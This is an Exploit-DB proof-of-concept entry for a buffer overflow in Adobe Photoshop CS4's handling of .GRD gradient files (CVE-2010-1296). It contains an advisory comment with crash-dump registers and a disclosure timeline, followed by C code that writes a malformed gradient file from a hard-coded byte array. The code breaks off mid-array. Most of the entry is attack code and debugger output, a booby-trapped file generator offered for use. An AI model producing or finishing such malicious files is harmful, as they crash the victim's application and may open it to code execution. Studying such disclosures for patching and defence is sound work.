Exploit-DB #12752
Description: Adobe Photoshop CS4 Extended 11.0 - '.GRD' File Handling Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-05-26
Author: LiquidWorm

Exploit:
/*

 Title:
 Adobe Photoshop CS4 Extended 11.0 GRD File Handling Remote Buffer Overflow PoC


 Summary: The Adobe® Photoshop® family of products is the ultimate playground for
 bringing out the best in your digital images, transforming them into anything you
 can imagine and showcasing them in extraordinary ways.

 Description: Adobe Photoshop CS4 Extended suffers from a buffer overflow vulnerability
 when dealing with .GRD (gradients) format file. The application failz to sanitize the
 user input resulting in a memory corruption, overwriting several memory registers which
 can aid the atacker to gain the power of executing arbitrary code or denial of service.

 Vendor:
 Adobe Systems Incorporated

 Product Web Page:
 http://www.adobe.com/

 Current Version:
 CS4 Extended 11.0.0.0

 Tested On:
 Microsoft Windwos XP Professional SP3 (English)

 
 ---------------------------------------------------------------------------

 (718.cd4): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=7efefefe ebx=00414141 ecx=000dbb7f edx=41414141 esi=12fb5368 edi=0b050000
 eip=781807f5 esp=0012de64 ebp=05620e10 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
 MSVCR80!strncpy+0xa5:
 781807f5 8917            mov     dword ptr [edi],edx  ds:0023:0b050000=????????
 0:000> g
 (718.af8): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=ffffffff ebx=00252178 ecx=41414141 edx=781c3bf8 esi=0afd2420 edi=7c80980a
 eip=7c809813 esp=12b8fe04 ebp=12b8fe4c iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 kernel32!InterlockedDecrement+0x9:
 7c809813 f00fc101        lock xadd dword ptr [ecx],eax ds:0023:41414141=????????

 ---------------------------------------------------------------------------


 Vendor Status:
 [08.08.2009] Vendor notified.
 [10.08.2009] Vendor replied.
 [14.08.2009] Asked vendor for confirmation.
 [14.08.2009] Vendor confirms vulnerability.
 [18.05.2010] Vendor reveals patch release date.
 [26.05.2010] Coordinated public disclosure.


 Zero Science Lab Advisory ID: ZSL-2010-4939
 Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4939.php
 Adobe Advisory ID: APSB10-13
 Advisory: http://www.adobe.com/support/security/bulletins/apsb10-13.html
 CVE ID: CVE-2010-1296


 Vulnerability Discovered By:

 Gjoko 'LiquidWorm' Krstic

 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk

 08.08.2009


*/



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
#define NAMEFILE "Awesome_Gradients.grd"
 
FILE *pf;

char gradih[] = {
	0x38, 0x42, 0x47, 0x52, 0x00, 0x05, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x6E, 0x75, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 
	0x47, 0x72, 0x64, 0x4C, 0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x0B, 0x4F, 0x62, 0x6A, 0x63, 
	0x00, 0x00, 0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 
	0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x61, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 
	0x00, 0x09, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 
	0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x6E, 0x00, 0x00, 0x00, 0x09, 
	0x00, 0x00, 0x00, 0x00, 0x4E, 0x6D, 0x20, 0x20, 0x54, 0x45, 0x58, 0x54, 0x00, 0x00, 0x00, 0x33, 
	0x00, 0x24, 0x00, 0x24, 0x00, 0x24, 0x00, 0x2F, 0x00, 0x50, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 
	0x00, 0x65, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 
	0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2F, 0x00, 0x4E, 0x00, 0x6F, 
	0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6C, 
	0x00, 0x65, 0x00, 0x73, 0x00, 0x5F, 0x00, 0x67, 0x00, 0x72, 0x00, 0x64, 0x00, 0x2F, 0x00, 0x42, 
	0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3D, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x75, 
	0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x65, 0x6E, 
	0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0x46, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 
	0x4E, 0x73, 0x00, 0x00, 0x00, 0x00, 0x53, 0x68, 0x54, 0x72, 0x62, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x56, 0x63, 0x74, 0x43, 0x62, 0x6F, 0x6F, 0x6C, 0x01, 0x00, 0x00, 0x00, 0x00, 
	0x43, 0x6C, 0x72, 0x53, 0x65, 0x6E, 0x75, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x43, 0x6C, 0x72, 0x53, 
	0x00, 0x00, 0x00, 0x00, 0x52, 0x47, 0x42, 0x43, 0x00, 0x00, 0x00, 0x00, 0x52, 0x6E, 0x64, 0x53, 
	0x6C, 0x6F, 0x6E, 0x67, 0x79, 0x06, 0x56, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x53, 0x6D, 0x74, 0x68, 
	0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x6E, 0x6D, 0x20, 
	0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 
	0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 
	0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x78, 0x6D, 0x20, 
	0x56, 0x6C, 0x4C, 0x73, 0x00, 0x00, 0x00, 0x04, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 
	0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 
	0x6C, 0x6F, 0x6E, 0x67, 0x00, 0x00, 0x00, 0x64, 0x4F, 0x62, 0x6A, 0x63, 0x00, 0x00, 0x00, 0x09, 
	0x00, 0x47, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x69, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x72, 0x64, 0